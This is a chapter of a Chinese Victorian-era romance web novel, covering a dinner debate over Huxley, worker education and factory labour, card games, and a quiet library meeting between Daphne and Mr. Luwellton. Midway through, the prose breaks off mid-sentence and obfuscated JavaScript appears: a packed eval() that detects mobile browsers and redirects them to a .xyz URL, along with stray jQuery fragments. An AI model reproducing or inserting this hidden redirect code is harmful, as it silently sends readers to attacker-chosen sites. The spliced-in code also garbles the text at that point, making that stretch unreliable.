15. 辩论和独处

作品:《再看我就报警了

    贝拉笑着和她分手,坐在了她的斜对面。


    黛芙妮的位置应该在库克和凯莉中间,等她过去想坐下发现安娜精神恍惚地坐在了她的位置。


    黛芙妮不能去喊安娜起来就只能坐在她的位置上,坐下来后才发现身边是路威尔顿先生。


    因为没有像上次那样发生不愉快的争论,所以即便身侧是路威尔顿先生对面是路威尔顿小姐,黛芙妮的胃口也不错,她吃了不少?圣休伯特鸡肉卷?。


    鸡腿去骨填入松露与鹅肝,淋白葡萄酒酱,是卡丽的拿手好菜之一。?


    甜点是维多利亚海绵蛋糕,两层蛋糕夹了覆盆子果酱和奶油,是狄默奇太太亲自做的。


    “前段时间我收到伦敦朋友的来信,他告诉我赫胥黎出版了一本新书《人类在自然界的位置》,就在昨天我拿到了那本书,内容不枉我如此期待。”狄默奇先生捏着叉子说,“有时候我真是对人类的大脑惊叹,这样的发现足以颠覆历史。”


    “他的‘人猿共祖’理论十分有趣,他定义了人类在自然界中的生物坐标。”艾肯先生说,“但我对此还是保持一点怀疑,而且他和达尔文在有些观点上有分歧。”


    “就在今年年初,他还在皇家学会科普讲座中系统驳斥神创论,之前他可是有着‘达尔文的斗牛犬’的称呼。”库克先生说着笑起来。


    “他还质疑达尔文的‘渐变演示’模式。”艾肯先生说。


    “我倒是觉得这种想法很新奇,包括他对恐龙与鸟类的亲缘假说,总的来说我还挺佩服他的。”亨斯通先生说。


    这些重大发现在刚出来的时候占据了大部分报纸的版头,黛芙妮同样有注意到。


    但她对物种起源是持反对态度的,更不用说教会指责其‘宇宙漠然存在’的论断否定了上帝的意志,就在前些天曼彻斯特的主教还称其为‘魔鬼的几何学’。


    这个话题她和狄默奇太太都非常沉默,当然几位女士都没有开口加入先生们的讨论,除了凯莉有些跃跃欲试。


    黛芙妮不高兴听他们间接否定上帝的意志,便集中注意力放在面前的炖蛋上,仔细研究它壳上的裂纹和点缀的西蓝花大小。


    “他虽然在‘人猿共祖’上得到了大部分支持,但在教育上却几乎全军覆没。”艾肯先生继续说。


    “他主张以科学课程取代拉丁文、希腊文教学,可惜大部分学校的校董都非常反对,但我却认为也许可以在原有的基础上设立一门课程,这并不碍事。”狄默奇先生说。


    “伊顿公学的校长在前段时间的学术聚会上还公开嘲讽‘显微镜培养不出政治家’这样的话,不得不说我认为是有道理的。”艾肯先生说。


    “你认为呢,康斯坦丁?”狄默奇先生点他,“别拘束,这只是一场闲聊不会让你的名号传遍整个英国的。”


    先生们闻言都哈哈大笑。


    “只关于某一点来说我是支持他的。”路威尔顿先生摆弄酒杯底座说。


    “哪一点?”库克先生好奇。


    “科学教育可以提高工人技能。这能让我的工厂更适应时代的发展。”他说,“但是对于他的‘完整人教育’我认为很麻烦。”


    黛芙妮将目光从炖蛋挪到了路威尔顿先生的侧脸上。


    她刚瞧见那位先生滑动的喉结和摆弄酒杯的手指,他整个人就不知为什么从放松姿态一下子变得紧绷起来。


    狄默奇先生、艾肯先生、库克先生、亨斯通先生包括黛芙妮和凯莉都对他未说完的话感到好奇。


    “工厂实行流水线生产模式,对工人只有一个要求:绝对服从指令。例如当机器故障需要按固定流程处理时,工人质疑操作规范很可能引发安全事故导致效率下降。”路威尔顿先生说。


    黛芙妮皱眉,她不太认可这样的想法,工人从来不是没有思想的产物他们是自由的是有情绪的,不可能做到像机器一样永远按程序运转。


    这种想法简直剥夺了一个人的人性。


    而路威尔顿先生的观点很明显是赞同那些主张剥夺工人学习机会的资本家的,他们只思考工厂的效率问题从不会把工人放在眼里。


    也许对于他们来说一袋棉花都比工人重要。


    艾肯先生点头:“如果每个人都将时间花费在思考上确实会影响效率,最重要的是会威胁到管理层的权威。”


    “我的那些朋友对赫胥黎支持工人思考的事都很反对,认为这很可能动摇当前劳资关系的稳定性。”亨斯通先生说。


    库克先生明显不满意:“可是路威尔顿先生你别忘了,虽然你们支付给工人十四个小时的微薄薪资却没买断他们的生命,他们完全有资格去学习新的知识而学来的知识你们更是没有权力阻止他们运用。”


    “我不阻止他们用剩余的时间去学习,只需要在上工期间按照我的规则工作即可。”路威尔顿先生摊开摇晃高脚杯的手说。


    “你听听这像话吗?”库克先生有些急了,“一天工作十四个小时做着高强度的工作,他们哪里还有时间去学习?”


    “我不管他们的下班时间怎么分配。”路威尔顿先生抿起嘴唇,神情有些厌烦。


    “高强度的长时间工作带给他们的薪资和福利却少得可怜,对他们的需求永远漠视,真是悲哀。”库克先生低下头恼火地捏紧叉子,拍了一下桌子。


    “我从不拖欠工资也不要求加班,我做了所有我该做的而不该做的也不应该由我来做。”路威尔顿先生抬起下巴,语调拖得有些长,他往后一靠,冷冷地盯着库克先生。


    气氛僵持住了,库克太太被路威尔顿先生生气的眼神吓得不敢动也说不出什么缓和的话来。


    狄默奇先生哈哈一笑:“今日的宴会真是值了,如此精彩的辩论我有多久没有听到了,怀念啊。”


    艾肯先生说:“最精彩的还要说那年我们还是学生的时候——”


    黛芙妮收回目光又看向了那枚炖蛋,总觉得库克先生那一拍蛋壳上的裂缝更多了。


    她余光瞥见路威尔顿小姐瞪了库克先生几眼,显然她非常不满他对她哥哥的无礼举动。


    凯莉还沉浸在刚刚先生们的谈话中,似乎在回味。


    安娜继续出神,机械地吃着餐盘里的食物。


    贝拉向她投来一个意味深长的眼神,黛芙妮很快明白她的意思:有趣。


    晚餐过后,狄默奇太太为了让冷却的气氛回升她连忙让卡丽和加班的惠特妮将桌子整理出来好供大家娱乐。


    几乎所有人都下场了包括黛芙妮,而一向喜爱玩牌的安娜因身体不适坐在沙发边闭目养神。


    黛芙妮和克洛伊、凯莉、路威尔顿小姐三人不打算玩另外两桌的惠斯特和


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16422145|184350||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    桥牌而是选择更轻松的扑克。


    玩了几把黛芙妮便把位置让给一直在三桌间游走的贝拉,她注意到这个点应该上新鲜的茶点了但是惠特妮还没来决定去厨房看看。


    厨房里卡丽正忙活着切水果,惠特妮将热水冲进茶壶里。


    在确定她们都记得时间后黛芙妮才返回会客室,库克太太在和摩西谈话他们之间意外的和谐,安娜手撑着额头目光涣散。


    卡丽和惠特妮将水果和茶点端上来,肚子里又有了存货的先生、太太、小姐们玩起牌来的劲更足了。


    黛芙妮走到爸爸身边瞧他玩惠斯特。


    他和库克先生是一组,对抗路威尔顿先生和亨斯通太太,惠斯特极其考验玩者的记忆与策略推理能力。


    绕着走了两圈,她断定这把路威尔顿先生和亨斯通太太会输,不是因为他们牌不好而是毫无默契,路威尔顿先生更是打得随心所欲。


    接着她又去母亲和贝拉身边观望片刻才在单人沙发上坐下,听库克太太和摩西讨论学校的课程。


    听了有一会儿她认为这边并不需要她从中调和,便放心地去小会客室拿本读物打发时间。


    她随意拿起一本《白衣女人》翻开阅读,这是一本悬疑小说,是狄默奇先生还在利物浦大学就职时一位朋友送给他的,此次搬家让这本书再次出现在黛芙妮眼前。


    说来她还从未看过这类型的小说,上次只看了开头今日不如接着往下读。


    抱着这样的想法她打算在小会客室的椅子上小坐一会儿等待外面牌局玩得差不多。


    转身时未注意,裙摆不小心将煤气灯扫落,一只手及时出现接住了它避免了一场‘惨案’。


    黛芙妮心惊肉跳地抬头去寻找煤气灯的恩人。


    “路威尔顿先生?”惊讶他怎么会在这里。


    路威尔顿先生将煤气灯放在小圆桌上说:“我得了狄默奇先生的准许来这里找一本书。”


    黛芙妮合上书籍笑着说:“是什么书?这里大部分的书都是我放上去的没人比我更熟了。”


    路威尔顿先生看了她一眼又飞快移开,淡淡地开口:“威尔基·柯林斯的《白衣女人》。”


    黛芙妮惊讶地看他,她摇晃手里的书本:“原来先生您也喜欢看这类小说,真是凑巧。”


    “抱歉我现在才看见。”他指黛芙妮正在阅读这本书这件事。


    黛芙妮在知道路威尔顿先生和爸爸关系还不错的时候是想着对这位先生态度再友切些的,可是饭桌上的争辩让她的这种心思又淡去了。


    这会儿她正恼着这位先生呢,不想和他多交谈。


    “您拿去吧。”她把书递给路威尔顿先生。


    他在黛芙妮的意料之外避开了她的手:“不好夺人所爱,也许你可以为我介绍其他类似的书籍?”


    “我有很多机会可以阅读它,并不在意一点时间。”黛芙妮笑着说,拒绝了他后面的请求,“而且我已经看了一个开头比起您来说,没有那么好奇和迫切。”


    路威尔顿先生接下那本书,他抬起眼睛注视着她:“谢谢,黛芙妮小姐。”


    黛芙妮对他微微一笑,转身去另找一本打发时间,没想到以为已经离开的人还站在那儿。


    两人之间不过一臂的距离,颇有些不自在,黛芙妮问:“还有什么事吗?”